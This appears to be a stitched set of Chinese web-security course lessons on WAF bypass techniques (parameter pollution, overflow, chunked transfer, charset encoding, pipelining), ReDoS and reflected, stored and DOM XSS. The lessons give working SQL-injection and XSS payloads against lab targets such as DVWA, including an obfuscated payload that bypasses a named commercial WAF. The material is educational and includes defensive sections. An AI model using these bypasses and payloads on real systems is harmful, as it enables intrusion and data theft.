WAF的全称是Web应用防火墙,是Web Application Firewall的缩写,是网站常用来保护Web应用安全的一种安全产品。
|
||||
|
||||
WAF的主要功能是,通过检测客户端的请求内容,拦截具有潜在危险性的请求,以有效防御一些常见的针对 Web 应用的攻击,比如SQL注入、XSS等。所以,现在的中、大型网站基本都部署了WAF产品。
|
||||
|
||||
对于一名渗透测试人员来说,如果没有掌握 WAF 的基本绕过方法,在渗透测试过程中就会举步维艰。下面我们一起看看怎么进行WAF绕过。
|
||||
|
||||
我整理了下WAF绕过的9种常见方式,如下图所示。掌握了这9种绕过方式,你基本也就能应对大部分WAF绕过问题了。
|
||||
|
||||
|
||||
|
||||
HTTP参数污染
|
||||
|
||||
我们先看HTTP参数污染。HTTP协议允许同名参数存在,如果WAF对同名参数的处理方式不当,就会造成参数污染。
|
||||
|
||||
假设提交的参数为id=1&id=2&id=3,WAF有可能会把id解析为1,而后端的解析结果可能是3。这时候,攻击者只需要把攻击内容放在第3个参数,就能绕过WAF的检测。
|
||||
|
||||
这种绕过方法非常经典,不过因为WAF的更新维护,这个方法现在已经基本行不通了。但我们还是可以从这个例子学习绕过的思路。
|
||||
|
||||
具体到各个服务器对参数的解释方法,我放在了一张图中。这张图你不需要特别记住每个参数,具体用到的时候再查阅即可。
|
||||
|
||||
|
||||
|
||||
接下来,我们开始学习另一个绕过WAF的方法:HTTP Header欺骗,看看它是怎么发生的。
|
||||
|
||||
HTTP Header欺骗
|
||||
|
||||
有时候WAF会根据内置的白名单策略放行特定来源的请求包,例如来源本地IP地址。如果我们利用burpsuite,来修改HTTP请求包头部中的请求地址为127.0.0.1,实现伪造地址为应用的本地地址,就可以实现绕过WAF。
|
||||
|
||||
下面,我们会学习和参数污染相类似的一个绕WAF的方法。
|
||||
|
||||
HTTP 参数溢出
|
||||
|
||||
出于对性能的考虑,对参数非常多的请求,一些WAF只会检测其中一部分(比如前100个)参数。这种情况下,攻击者可以制造大量的无关参数用来“占位”,把真正的恶意参数放在后面。
|
||||
|
||||
WAF检测完前面一部分参数后没有发现问题,就放行了这个请求。这时候,攻击者就成功绕过了WAF的检测,把恶意参数带入了后端。
|
||||
|
||||
同样是出于对性能的考虑,一些WAF对于超长的数据包也会跳过。对于攻击者来说,他们可以构造超长的数据包,来绕过WAF的检测。
|
||||
|
||||
我们看个具体的例子。
|
||||
|
||||
我们对某网站先请求一个POST的XSS Payload,被拦截。
|
||||
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' xxx.com
|
||||
|
||||
之后通过Fuzz发现,当增加参数个数达到一定的量,例如100个之后,带着XSS Payload就不会被拦截了,并且网站可以正常访问。
|
||||
curl -v -d 'a1=1&a2=2&......&a100=<img src=x onerror=alert(/xss/)>' xxx.com
|
||||
|
||||
|
||||
在这个示例中,攻击者可以通过增加参数个数实现绕过WAF。理解了HTTP参数溢出问题之后,我们进入到对HTTP分块传输绕WAF的学习中。
|
||||
|
||||
HTTP 分块传输
|
||||
|
||||
分块传输是一种传输编码,是把报文分割成若干个大小已知的“块”进行传输。
|
||||
|
||||
我们可以利用burpsuite,将请求报文中的Transfer-Encoding字段指定为chunked值,来声明采用分块传输。这样就可以把一个完整的攻击数据分割成若干份,WAF由于无法匹配到完整的攻击特征值,因此就可能会被绕过。
|
||||
|
||||
几乎所有可以识别Transfer-Encoding数据包的WAF,都没有处理分块数据包中长度标识处的注释。这就意味着,如果在分块数据包中加入注释的话,WAF识别不出这个数据包。
|
||||
|
||||
我们看个具体的例子。
|
||||
|
||||
<?php
|
||||
header("Content-Type: text/html;charset=utf-8");
|
||||
$id = $_REQUEST["id"];
|
||||
if ($id){
|
||||
echo $id;
|
||||
}
|
||||
?>
|
||||
|
||||
|
||||
这段代码是我们测试用的网页代码,我们先用GET方式上传参数,将id设置为:
|
||||
|
||||
1 and 1=1
|
||||
|
||||
|
||||
获取到的响应如下:
|
||||
|
||||
|
||||
|
||||
根据响应我们可以发现这个payload被WAF拦截,这时候,我们利用分块传输来进行绕过:
|
||||
|
||||
POST /xxxxxx.php HTTP/1.1
|
||||
......
|
||||
Transfer-Encoding: Chunked
|
||||
|
||||
1;
|
||||
i
|
||||
d
|
||||
=1
|
||||
5
|
||||
a
|
||||
6
|
||||
nd
|
||||
2
|
||||
1=1
|
||||
0
|
||||
|
||||
|
||||
获取到的响应为:
|
||||
|
||||
|
||||
|
||||
可以看到页面输出1,这个payload已经不再被拦截了。
|
||||
|
||||
好了,我们继续学习对HTTP数据编码绕WAF的方式。
|
||||
|
||||
HTTP 数据编码
|
||||
|
||||
我们可以利用burpsuite实现修改报文头Content-Type,从而指定一个特殊编码,例如ibm037、ibm500、cp875和ibm1026等不常见的编码,就可能使服务器可以正常解析但WAF无法解析请求包内容,继而实现绕过WAF的检测。
|
||||
|
||||
我们看一个具体的示例,来加深理解。
|
||||
|
||||
#这是未经特殊编码的原始请求
|
||||
POST /sample.aspx?id1=something HTTP/1.1
|
||||
HOST: victim.com
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8
|
||||
Content-Length: 41
|
||||
|
||||
id2=‘union all select * from users—
|
||||
|
||||
#经过ibm037编码,我们可以将它转化为下面的请求,从而绕过WAF
|
||||
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
|
||||
HOST: victim.com
|
||||
Content-Type: application/x-www-form-urlencoded; charset=ibm037
|
||||
Content-Length: 115
|
||||
|
||||
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
|
||||
|
||||
|
||||
在这个示例中,我们指定了编码方式为ibm037,由于WAF无法解析成功,导致拦截失败。这就是WAF通过HTTP数据编码来实现绕过WAF的方式。
|
||||
|
||||
HTTP 协议未覆盖
|
||||
|
||||
HTTP协议覆盖问题引发的WAF绕过方式,其发生原因是:我们可以修改参数提交方式导致WAF使用错误的方式检测请求内容,从而绕过WAF的检测。
|
||||
|
||||
我们先回顾下4种常见的Content-Type类型:text/html、application/json、application/x-www-form-urlencoded以及multipart/form-data。利用协议未覆盖来绕过,其实就是尝试替换Content-Type来绕过WAF过滤机制。
|
||||
|
||||
有的WAF未覆盖协议form-data,或是检测到form-data以后只当作文件上传来检测。但是,form-data不仅能支持文件上传,还能支持传键值对,所以在x-www-form-urlencoded下被拦截的数据包,能通过将Content-Type改为form-data的方法绕过一部分的WAF。
|
||||
|
||||
HTTP 畸形包
|
||||
|
||||
我们继续看看HTTP畸形包问题。
|
||||
|
||||
当前的 HTTP 服务,依据的是RFC2616标准(通常有以下8种方法:OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT)的HTTP请求。
|
||||
|
||||
但是,当向Web服务器发送畸形请求(非标准的 HTTP 数据包)时, Web 服务器出于兼容性考虑,会尽力解析这些畸形的数据包,而WAF处理这种畸形包时就可能不拦截。其实,在HTTP管道化的绕过中,我们也用到了它来绕过。
|
||||
|
||||
HTTP 管道化
|
||||
|
||||
通过HTTP管道化的方式绕过WAF的原理是:HTTP管道化,允许多个HTTP请求通过一个套接字同时被输出,而不用等待相应的响应。请求者会等待各自的响应,这些响应是按照之前的请求顺序依次到达。因为多个请求可被同时传送,如果WAF只检测第一个请求而忽略了后面的请求,就可以被绕过。
|
||||
|
||||
利用这个方法绕过WAF的步骤是:
|
||||
|
||||
|
||||
先把HTTP协议的Connection字段设置为keep-alive
|
||||
之后把Content-Length设置为想要的值,来隐藏后面的威胁信息-
|
||||
例如,原HTTP数据包为a=1,我们将Content-Length设置为3,然后用畸形包a=1GET XXX HTTP/1.1,(到此不换行),再换行跟上Host和Connection等信息,使得GET XXX HTTP/1.1达到绕过WAF检查的效果。
|
||||
|
||||
|
||||
以上就是8种常见的WAF及绕过了。这8种方式,不一定要独立使用,还可以进行灵活组合,形成HTTP组合绕过方式,实现WAF的绕过。而且这样成功绕过的概率也会提高。
|
||||
|
||||
HTTP 组合绕过
|
||||
|
||||
其实,组合绕过的核心思想,就是运用WAF和服务端的协议解析差异,使得服务端能够解析我们的消息,而WAF无法解析所以跳过检测。
|
||||
|
||||
以上就是WAF及绕过的9种常见方式了,至此,我们也就把失效的输入检测的6种方式学完了。
|
||||
|
||||
掌握了失效的输入检测原理及产生原因后,我们再通过两个实战案例夯实下这部分基础。
|
||||
|
||||
两个案例带你深入理解失效的输入检测
|
||||
|
||||
案例一:因为正则表达式算法触发失效的输入检测的示例
|
||||
|
||||
正则表达式可以方便我们做字符串搜索及匹配,但是错误的使用方式也会导致易受外部攻击。我要展开的这个案例,就是一种拒绝服务攻击,它利用了正则表达式的一种特性:正则表达式本身会进行较为复杂的判断,如果触发极端情况就会让程序运行变得很慢。攻击者可以故意让程序使用正则表达式,来触发这种极端情况,并且让程序等待很久。
|
||||
|
||||
我们先来看下这种极端情况是如何产生的。
|
||||
|
||||
这种极端情况,来源于有问题的正则算法。这样的算法构建了一个非确定性的有限自动状态机(NFA),既然它是一个有限状态机,那对于每对状态和输入符号,可能都有多个下一个状态。然后引擎开始进行转换,直到输入结束。
|
||||
|
||||
由于存在多种可能的下一个状态,导致算法一一尝试所有可能的路径,直到找到匹配项,或者尝试所有路径但都失败。我们看一个例子。
|
||||
|
||||
正则表达式 ^(a+)+$ 可以由以下NFA表示:
|
||||
|
||||
|
||||
|
||||
当输入为aaaaX时,在上图中就有16种可能的路径,例如1->2->3->3->3。这就是其中之一,由于该路径匹配结果为aaaaa与aaaaX不一致,所以匹配失败。然后,继续匹配下一条路径,因为该输入无法匹配成功,所以最终需要遍历到所有的可能路径。对应到该输入,需要匹配所有的16条路径。
|
||||
|
||||
对于输入为aaaaX来说,这个输入遍历的路径还不是很多,但是当输入为aaaaaaaaaaaaaaaaX时,一共有65536条可能的路径,需要遍历的路径就变得非常多了。
|
||||
|
||||
这个问题,是由一个叫做回溯的正则表达式引擎功能引发的。当输入不匹配时,引擎会返回到之前的位置,在那里重新采取不同的路径,直到探索完所有可能的路径为止。
|
||||
|
||||
在我看来,这是因为正则表达式算法不成熟导致的。实际上正则表达式算法可以改得更高效,来避免这种问题的发生,但不幸的是出于某些原因,大多数正则表达式都会使用更简单的算法。
|
||||
|
||||
接下来,我们看一个攻击案例,引起正则表达式遍历问题的代码如下:
|
||||
|
||||
if (preg_match("/(a+)+b$/",$pass)) {
|
||||
/* store first result set */
|
||||
echo "match success";
|
||||
}
|
||||
else {
|
||||
echo "match failure";
|
||||
}
|
||||
|
||||
|
||||
靶场已经集成在谜团上的“极客时间-漏洞挖掘与智能攻防实战”里。
|
||||
|
||||
我们打开题目ReDoS,运行靶机。当我们的输入如下内容:
|
||||
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
|
||||
|
||||
|
||||
系统会出现卡顿,过了一段时间后会出现匹配失败,回溯次数已用尽的提示信息。这是因为,PHP内置了正则匹配的回溯上限次数,当回溯次数超出该限制时,就会返回匹配失败。
|
||||
|
||||
这样的限制可以在输入检测失效的情况下,减轻ReDos对PHP应用的影响。
|
||||
|
||||
接下来,我们一起看一个绕WAF的实例。
|
||||
|
||||
案例二:一个绕WAF的实例
|
||||
|
||||
这个WAF,是最新版本的安全狗V4.0网页(APACHE)版。我们可以在谜团上打开靶场安全狗4.0。之后访问该网页的目录inject.php,它的代码如下:
|
||||
|
||||
*<?php*
|
||||
$id = $_GET['id'];
|
||||
$con = mysql_connect(“localhost”,”root”,”root”);
|
||||
*if* (!$con){*die*(‘Could not connect: ‘ . mysql_error());}
|
||||
mysql_select_db(“dvwa”, $con);
|
||||
$query = “SELECT first_name,last_name FROM users WHERE user_id = ‘$id’; “;
|
||||
$result = mysql_query($query)*or* *die*(‘<pre>’.mysql_error().’</pre>’);
|
||||
*while*($row = mysql_fetch_array($result))
|
||||
{
|
||||
*echo* $row[‘0’] . “ ” . $row[‘1’];
|
||||
*echo* “<br />”;
|
||||
}
|
||||
*echo* “<br/>”;
|
||||
*echo* $query;
|
||||
mysql_close($con);
|
||||
*?>*
|
||||
|
||||
|
||||
我们尝试使用payload为:
|
||||
|
||||
?id=1' and 1=2 union select database(),2 --+
|
||||
|
||||
|
||||
会发现被安全狗拦截了,但我们对它进行修改为:
|
||||
|
||||
?id=1'//*!14400and*//1=2//*//*//union//*!88888cas*//*/%0a*a*//select//**//*//*//database(//*%%!AJEST%%%%*//),2//**/--+/
|
||||
|
||||
|
||||
注意,其中/*! ….*/是MySQL为了保持兼容,它把一些特有的仅在MySQL上用的语句放在了/*!….*/中,目的是这些语句在其他数据库中是不会被执行,但在MySQL中会被执行。
|
||||
|
||||
利用这个组合,我们就能绕过WAF,成功获取到当前的数据库的名称。
|
||||
|
||||
既然有这么多WAF绕过方式,那么在安全实践中,WAF厂商是如何防范自己的WAF被绕过的呢?
|
||||
|
||||
安全实践:如何防范自己的WAF被绕过?
|
||||
|
||||
Web服务器在对外提供各种应用服务时,经常会遇到这样的情况:请求的payload经过混淆或者编码,想要绕过Web安全防火墙。如果在HTTP请求中添加编码,很可能会绕过WAF规则,导致数据泄露风险。那本应该被拦截的请求,还是得到了对应的响应数据。
|
||||
|
||||
通常云WAF厂商都会自研解码引擎。针对不同使用场景,比如互联网、金融、政企,提供不同的解码组合方案。
|
||||
|
||||
我们以具有代表性的华为云WAF为例,看看他们的解码说明。
|
||||
|
||||
|
||||
|
||||
可以看到,华为云WAF可以做到将11种编码还原,使得通过这些编码/混淆绕过WAF的方法变得无效。
|
||||
|
||||
我们再看一个例子,基于nginx+lua实现针对http payload编解码操作,来加深理解。
|
||||
|
||||
#uri转码
|
||||
local function _uri_decode(value)
|
||||
local value = tostring(value)
|
||||
return ngx.unescape_uri(value)
|
||||
end
|
||||
local function _uri_encode(value)
|
||||
local value = tostring(value)
|
||||
return ngx.escape_uri(value)
|
||||
end
|
||||
|
||||
|
||||
这是对URI解码以及编码的操作。在接收到payload后,进行URI解码可以帮助WAF系统,判断出借助URI编码尝试绕过的攻击行为,从而使得该WAF的防御效果更好。
|
||||
|
||||
好了,到这里,我们对几种失效的输入检测,以及其中的巨大危害,都了解得比较清楚了。那么,除了云厂商自己的WAF绕过安全实践外,还应该如何检测这些漏洞呢?
|
||||
|
||||
应对失效的输入检测的方式
|
||||
|
||||
对于输入验证问题,我们可以用多种方法来检测它。常见的方法有4种,包括静态分析、模糊测试、源代码分析、架构及设计审查。
|
||||
|
||||
一般来讲,这4种方式虽然都致力于解决失效的输入检测问题,但是它们各自擅长的领域是不同的,比如即使经过源代码分析,模糊测试依然能够发现新的问题;而单纯通过模糊测试,也很有可能无法覆盖到源代码分析这种白盒测试的结果。因此,这4种方式组合使用的效果更好。
|
||||
|
||||
接下来,我们一一学习下这4种方式。
|
||||
|
||||
静态分析
|
||||
|
||||
使用自动静态分析,可以检测到一些不正确的输入验证情况。
|
||||
|
||||
有的静态分析工具,允许用户指定应用的类型,针对用户选择的应用类型运行特定的检测方法。
|
||||
|
||||
有的静态分析工具,还会内置比较知名的验证框架的信息,例如Struts框架。如果这个工具分析判断出某个输入验证调用了已知的框架,那就可以降低该框架有效验证的探测的优先级。进而允许设计者专注于软件中输入验证的盲点位置。
|
||||
|
||||
模糊测试
|
||||
|
||||
除了静态分析之外,模糊测试技术也可以用来检测输入验证是否存在错误。当我们向一个软件提供意外的输入时,软件可能会变得“崩溃”、不稳定,并且可能会生成应用程序控制的错误消息。
|
||||
|
||||
如果出现这些异常或者解释器生成了错误信息,那就表明应用程序对输入的检查和处理并未达到应用程序内在的逻辑需求。
|
||||
|
||||
源代码分析
|
||||
|
||||
我们还可以使用源代码弱点分析器对源代码进行自动分析,当然我们也可以不利用工具,亲自进行手动分析。
|
||||
|
||||
架构及设计审查
|
||||
|
||||
除了静态分析、模糊测试和源代码分析方法外,我们还可以在架构及设计审查时检查输入验证的正确性。具体方法是:根据标准对系统进行检查(IEEE 1028 标准)(可应用于需求、设计、源代码等)、形式化方法/正确构造、攻击建模等方法。
|
||||
|
||||
总结
|
||||
|
||||
到这里,我们就把失效的输入检测相关的内容学习完了。
|
||||
|
||||
在第19和第20讲这两节课里,我和你分享了6种失效的输入检测,并展开了其中比较复杂的WAF及绕过。我把这些知识点,给你放到了一张脑图中,你可以保存下来,随时查看。
|
||||
|
||||
|
||||
|
||||
对于WAF绕过,我们今天学习的也只是9种常见的方式。但不论是哪种方式,绕过的核心思想,都是运用WAF和服务端的协议解析差异,使得服务端解析了我们的消息,而WAF无法解析所以跳过检测。
|
||||
|
||||
思考
|
||||
|
||||
在这一节课,我们学习了很多WAF绕过方式,但是WAF绕过与反绕过一直是在对抗升级的,只学习这些技巧还远远不够,那么从攻击者视角来看,WAF绕过的本质是什么呢?利用的本质问题又是什么呢?
|
||||
|
||||
欢迎在评论区留下你的思考。如果你觉得今天的内容对你有所帮助的话,欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
178
专栏/Web漏洞挖掘实战/21XSS(上):前端攻防的主战场.md
Normal file
178
专栏/Web漏洞挖掘实战/21XSS(上):前端攻防的主战场.md
Normal file
@ -0,0 +1,178 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
21 XSS(上):前端攻防的主战场
|
||||
你好,我是王昊天。
|
||||
|
||||
如今,我们开发一个Web应用需要用到前端和后端两部分。其中前端主要用于数据的渲染,将信息更好地展示给我们;后端则需要获取数据,将合适的信息展示给我们。只有前端和后端一起合作,才能构建出一个优秀的Web应用。
|
||||
|
||||
在之前的课程中,我们学习了SQL注入、命令注入这两种注入攻击,它们都是针对Web后端的攻击。那么注入攻击可以针对前端执行吗?答案是肯定的,今天我们要学习的XSS即跨站脚本攻击就是针对前端的攻击方式,下面让我们开始对它的学习吧。
|
||||
|
||||
XSS介绍
|
||||
|
||||
XSS即跨站脚本攻击,是OWASP TOP10之一。它的全称为Cross-site scripting,之所以缩写为XSS是因为CSS这个简称已经被占用了。这就是XSS名称的由来。
|
||||
|
||||
XSS攻击的原理为,浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这种针对用户浏览器的攻击即跨站脚本攻击。它的攻击方式可以分为三种类型,我在下图将它们列举出来了。
|
||||
|
||||
|
||||
|
||||
下面让我们进一步来学习它的攻击方式吧。
|
||||
|
||||
反射型XSS
|
||||
|
||||
当应用程序将收到的用户输入,直接作为HTML输出的一部分时,并且未经验证或转义,攻击者就可以输入一些JavaScript脚本,使得受害者的浏览器执行任意的JavaScript代码。这就是反射型XSS攻击,之所以称之为反射型XSS,是因为这种攻击需要用户提供一个恶意输入,然后页面据此进行反射,执行攻击的命令。
|
||||
|
||||
为了加深你的理解,我们一起来看一个示例。
|
||||
|
||||
|
||||
|
||||
上述是一个反射型XSS注入的靶场,我们需要在其中输入并上传两个参数First name以及Last name,然后该Web应用在接收到上传的参数后,会将它们显示在页面上,如Welcome firstname lastname。
|
||||
|
||||
查看页面的元素,我们可以看到输入的参数直接被放在HTML的body中。
|
||||
|
||||
<body>
|
||||
# ...
|
||||
<div id="main">
|
||||
# ...
|
||||
"Welcome first name last name"
|
||||
</div>
|
||||
|
||||
|
||||
由于页面中没有对我们的输入进行限制,导致了我们可以直接在First name中输入alert(1),在Last name中随意输入任何字符串例如abc,这样就能导致XSS攻击。
|
||||
|
||||
|
||||
|
||||
可以看到我们输入的恶意JavaScript脚本alert(1)已经执行成功,弹出了一个警告框。我们再次检查页面的源代码,发现如下所示:
|
||||
|
||||
<body>
|
||||
# ...
|
||||
<div id="main">
|
||||
# ...
|
||||
" Welcome “
|
||||
<script>alert(1)</script>
|
||||
” abc "
|
||||
</div>
|
||||
|
||||
|
||||
我们在First name中输入的恶意脚本,被解析为JavaScript命令,所以我们的攻击成功了。
|
||||
|
||||
上面例子中的行为,看似是我们自己在攻击自己,但事实上也可以攻击别人,使得别人在访问一个页面时受到我们发起的XSS攻击。你可以想一想要如何利用反射型XSS攻击别人?
|
||||
|
||||
事实上,我们发送的First name以及Last name都是通过GET方式上传的参数,而在之前的学习中,我们知道以GET方式上传的参数会出现在链接中,例如我们将First name设为alert(1),将Last name设为abc,那么对应的恶意链接就如下所示:
|
||||
|
||||
http://1e2b92939584409b89297897efdf1599.app.mituan.zone/xss_get.php?firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=abc&form=submit
|
||||
|
||||
|
||||
我们只需要将这个恶意链接发送给要攻击的目标即可,这样只要受害者点击链接,那么恶意命令就会在受害者的浏览器执行。
|
||||
|
||||
上述示例中,Web没有对我们的输入做任何限制,使得我们的JavaScript脚本顺利执行,接下来我们来看反射型注入如果受到限制该如何破解呢?
|
||||
|
||||
|
||||
|
||||
例如这个示例中,我们输入一个JavaScript脚本,但是它就不会被执行,通过查看页面源代码:
|
||||
|
||||
<p>Hello <script>alert(1)</script>, please vote for your favorite movie.</p>
|
||||
|
||||
|
||||
我们可知,它不会被执行的原因是将我们的输入包裹起来了,在HTML中,这代表了限制其中包裹的内容为文本,那么这里你有什么好办法来绕过这个限制吗?
|
||||
|
||||
比如,类似SQL注入中的闭合操作?没错,我们可以将它的标签闭合起来,构造输入如下:
|
||||
|
||||
# 输入为:
|
||||
</p><script>alert(1)</script><p>
|
||||
# 响应的html变为:
|
||||
<p>Hello </p><script>alert(1)</script><p>, please vote for your favorite movie.</p>
|
||||
|
||||
|
||||
这样我们就可以将标签闭合,成功执行我们的JavaScript恶意代码。
|
||||
|
||||
从上述内容中,我们可以知道,反射型XSS具有非持久化的特点,因为用户必须点击带有恶意参数的链接才能引起这个攻击。同时它的影响范围很小,只有那些点击了恶意链接的用户才会受到它的攻击。
|
||||
|
||||
接下来让我们进入到另一种更危险的XSS攻击中——存储型XSS攻击。
|
||||
|
||||
存储型XSS
|
||||
|
||||
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时,程序也没有对其进行过滤,使得页面再次执行XSS代码。与反射型XSS不同的是,存储型XSS可以持续攻击用户。
|
||||
|
||||
攻击者想要发起存储型XSS攻击,首先需要将恶意代码进行上传,上传的位置主要有留言板、评论区、用户头像、个性签名以及博客。如果Web应用没有限制上传的内容,并且将该内容存储到了数据库中,那么存储型XSS就成功了第一步。
|
||||
|
||||
接下来,想要使得存储型XSS攻击生效,还需要让Web应用去读取之前存储的恶意代码。这其实很简单,我们可以想一想留言板,我们只要上传一条留言,那么每次去访问这个留言板时,系统就会自动去读取之前上传的所有数据,并在页面上显示出来。当然系统可能会对读取的数据做一定的限制,如果我们的恶意代码没有被限制,那么我们的存储型XSS攻击的第二步也就成功了。
|
||||
|
||||
完成了读取后,系统会将内容进行解析读取,如果解析的时候没有成功限制住我们的恶意代码,那么我们之前存储的恶意命令将被执行。存储型XSS攻击也就成功啦!
|
||||
|
||||
下面,让我们一起看一个示例,来加深一下对存储型XSS攻击的理解。
|
||||
|
||||
|
||||
|
||||
在这个示例中,Web应用选择的为一个博客,我们可以在此输入一个恶意命令作为博客,并且进行上传。例如我们输入alert(1)点击上传,之后页面会刷新,并且弹出警告框1,之后这个页面每次被访问,都会引起恶意命令的执行。
|
||||
|
||||
从结果我们知道,我们的恶意命令成功执行,这代表了我们的恶意输入被上传到数据库中,并且Web应用读取了它,将它解析出来。
|
||||
|
||||
根据我们对存储型XSS攻击的了解,我们不难知道,它的危害性是远远高于反射型XSS攻击的。因为它的影响范围远远高于反射型XSS,它会影响到所有访问到受攻击Web页面的用户。
|
||||
|
||||
完成了存储型XSS攻击的学习后,接下来让我们接着学习DOM型XSS攻击。
|
||||
|
||||
DOM型XSS
|
||||
|
||||
首先我们需要知道什么是DOM,DOM就是文档对象模型,它可以将文档解析成一个由节点和对象(包含属性和方法的对象)组成的结构集合。简单来讲,它会将Web页面和脚本程序连接起来。
|
||||
|
||||
DOM型XSS攻击其实是一种特殊类型的反射型XSS,通过JavaScript操作DOM树动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。
|
||||
|
||||
根据之前的学习,我们可以明白,在DOM型XSS中,整个过程和后端无关,它完全是基于前端的攻击,所以当我们遇到要绕Waf的时候,就可以使用这种攻击,因为Waf是基于后端进行拦截的。
|
||||
|
||||
DOM型XSS的攻击方式,其实与反射型XSS很相似,它们都是没有控制好输入,并且把JavaScript脚本作为输出插入到HTML页面。不同的是,反射型XSS经过后端语言处理后,页面引用后端输出生效。而DOM型XSS是经过JavaScript对DOM树直接操作后插入到页面。相比于反射型XSS攻击,它的危害性更大,因为它不经过后端,所以可以绕过Waf的检测。
|
||||
|
||||
下面让我们从实战中,更深入地学习DOM型XSS攻击。
|
||||
|
||||
实战演练
|
||||
|
||||
在这个案例中,该靶场已经搭建于谜团中,你可以访问DVWA靶场进行实战测试。
|
||||
|
||||
我们在登录后,选择DVWA Security为low,然后打开XSS(DOM)靶场。
|
||||
|
||||
|
||||
|
||||
打开后发现了一个选择框,我们无法从这里进行输入,通过点击Select按钮,我们从链接中可以发现,它是通过GET方式上传的参数。
|
||||
|
||||
http://51277f5dd0db4fd0a6272f5f647b27b8.app.mituan.zone/vulnerabilities/xss_d/?default=English
|
||||
|
||||
|
||||
这就给了我们输入的机会,然后进一步观察页面的源代码,对此进行分析。
|
||||
|
||||
if (document.location.href.indexOf(“default=“) >= 0) {
|
||||
var lang = document.location.href.substring(document.location.href.indexOf(“default=“)+8);
|
||||
document.write(“<option value=‘” + lang + “’>” + decodeURI(lang) + “</option>”);
|
||||
document.write(“<option value=‘’ disabled=‘disabled’>——</option>”);
|
||||
}
|
||||
|
||||
|
||||
从源代码中我们可知,这个页面属于DOM型XSS攻击,它没有经过后端处理,是直接用document.write函数将输入显示在页面中,并且没有做任何限制。因此我们可以用下述链接执行我们的攻击命令:
|
||||
|
||||
http://51277f5dd0db4fd0a6272f5f647b27b8.app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1)</script>
|
||||
|
||||
|
||||
|
||||
|
||||
可以看到,我们的攻击已经成功,一个警告框已经弹出来了。
|
||||
|
||||
总结
|
||||
|
||||
在这节课里,我们首先了解了什么是XSS攻击,并且知道它主要可以分为三种不同的类型,包括反射型XSS、存储型XSS以及DOM型XSS。之后我们对它们分别展开了具体的学习。
|
||||
|
||||
在对反射型XSS的学习中,我们知道反射型XSS的攻击需要用户提供一个恶意输入,然后页面据此进行反射,执行攻击的命令。同时,我们也知道了,当我们的输入被HTML标签限制住,可以用闭合的方法来解除它的限制。反射型XSS具有非持久化的特点,因为用户必须点击带有恶意参数的链接才能引起这个攻击,同时它的影响范围很小,只有那些点击了恶意链接的用户才会受到它的攻击。
|
||||
|
||||
之后我们学习了危害性更大的存储型XSS,存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时,程序也没有对其进行过滤,使得页面再次执行XSS代码。与反射型XSS不同的是,存储型XSS可以持续攻击用户,我们每次访问被攻击的Web页面都会受到这个攻击的影响。
|
||||
|
||||
最后,我们学习了DOM型XSS攻击,经过学习,我们知道DOM型XSS攻击其实是一种特殊类型的反射型XSS,通过JavaScript操作DOM树动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。它与反射型XSS不同的是,反射型XSS经过后端语言处理后,页面引用后端输出生效。而DOM型XSS是经过JavaScript对DOM树直接操作后插入到页面。相比于反射型XSS攻击,它的危害性更大,因为它不经过后端,所以可以绕过Waf的检测。
|
||||
|
||||
思考
|
||||
|
||||
最后留给你一道思考题:XSS攻击有什么防范方法吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
205
专栏/Web漏洞挖掘实战/22XSS(中):跨站脚本攻击的危害性.md
Normal file
205
专栏/Web漏洞挖掘实战/22XSS(中):跨站脚本攻击的危害性.md
Normal file
@ -0,0 +1,205 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
22 XSS(中):跨站脚本攻击的危害性
|
||||
你好,我是王昊天。
|
||||
|
||||
在上一节课程中,我们学习了什么是XSS攻击,并且介绍了XSS攻击的不同种类。在攻击示例的代码中,我们仅仅是让网页弹出一个警告框,看上去XSS攻击并没有什么作用,但实际上,它的危害性是比较大的。你会好奇XSS攻击会造成哪些危害吗?
|
||||
|
||||
这节课,让我们一起来深入了解一下。
|
||||
|
||||
XSS攻击的危害
|
||||
|
||||
XSS攻击的危害主要包括四种类型,我已经将它们整理在下图中,它们分别是盗取cookie、按键记录和钓鱼、广告植入以及欺骗跳转。
|
||||
|
||||
|
||||
|
||||
首先我们来学习具有代表性的XSS攻击利用,盗取cookie,看看攻击者是如何用XSS攻击实现对cookie的窃取。
|
||||
|
||||
盗取cookie
|
||||
|
||||
cookie在英文中的意思为甜品、饼干,不过这里盗取cookie可不是偷饼干的意思哦。在HTTP请求中,cookie代表着登录信息,我们在Web应用登录成功后,服务器端会生成一个cookie。然后服务器端会将这个生成的cookie发送给我们,供我们之后访问的时候使用。
|
||||
|
||||
如果攻击者拿到cookie信息了,那他就可以实现登录我们的账号,这是非常危险的,所以我们平时需要保护好我们的cookie信息。
|
||||
|
||||
在了解完cookie是什么之后,让我们用一个示例,一起看看XSS攻击是如何获得cookie信息的。
|
||||
|
||||
这是一个DVWA靶场,我们在登陆后选择DOM型XSS,获得如下页面:
|
||||
|
||||
|
||||
|
||||
